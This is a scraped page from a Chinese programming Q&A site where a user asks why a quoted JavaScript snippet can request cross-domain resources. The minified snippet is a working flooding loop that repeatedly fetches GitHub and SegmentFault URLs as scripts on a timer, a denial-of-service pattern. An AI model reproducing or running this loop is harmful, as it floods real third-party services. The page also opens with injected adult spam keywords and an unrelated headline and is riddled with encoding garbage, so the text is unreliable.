第七色在线视频,2021少妇久久久久久久久久,亚洲欧洲精品成人久久av18,亚洲国产精品特色大片观看完整版,孙宇晨将参加特朗普的晚宴

為了賬號(hào)安全,請(qǐng)及時(shí)綁定郵箱和手機(jī)立即綁定
已解決430363個(gè)問題,去搜搜看,總會(huì)有你想問的

JS這樣做居然可以跨域請(qǐng)求遠(yuǎn)程資源,請(qǐng)問原理是什么?。?/h1>

JS這樣做居然可以跨域請(qǐng)求遠(yuǎn)程資源,請(qǐng)問原理是什么???

郎朗坤 2019-04-19 16:11:23
演示地址:http://runjs.cn/code/vmjaz1pj如果說這樣就可以跨域請(qǐng)求資源了,那豈不是想要攻擊誰就攻擊誰?這樣太不安全了。代碼如下:document.write("\x3c/script>");!window.jQuery&&document.write("\x3c/script>");startime=(newDate).getTime();varcount=0;functionunixtime(){vara=newDate;returnDate.UTC(a.getFullYear(),a.getMonth(),a.getDay(),a.getHours(),a.getMinutes(),a.getSeconds())/1E3}url_array=["https://github.com/aiyuchen/LaravelShoppingcart","http://segmentfault.com/q/1010000000339531"];NUM=url_array.length;functionr_send2(){vara=unixtime()%NUM;get(url_array[a])}functionget(a){varb;$.ajax({url:a,dataType:"script",timeout:1E4,cache:!0,beforeSend:function(){requestTime=(newDate).getTime()},complete:function(){responseTime=(newDate).getTime();b=Math.floor(responseTime-requestTime);3E5>responseTime-startime&&(r_send(b),count+=1)}})}functionr_send(a){setTimeout("r_send2()",a)}setTimeout("r_send2()",2E3);?
查看完整描述

2 回答

  • 2 回答
  • 0 關(guān)注
  • 361 瀏覽
慕課專欄
更多

添加回答

舉報(bào)

0/150
提交
取消
微信客服

購課補(bǔ)貼
聯(lián)系客服咨詢優(yōu)惠詳情

幫助反饋 APP下載

慕課網(wǎng)APP
您的移動(dòng)學(xué)習(xí)伙伴

公眾號(hào)

掃描二維碼
關(guān)注慕課網(wǎng)微信公眾號(hào)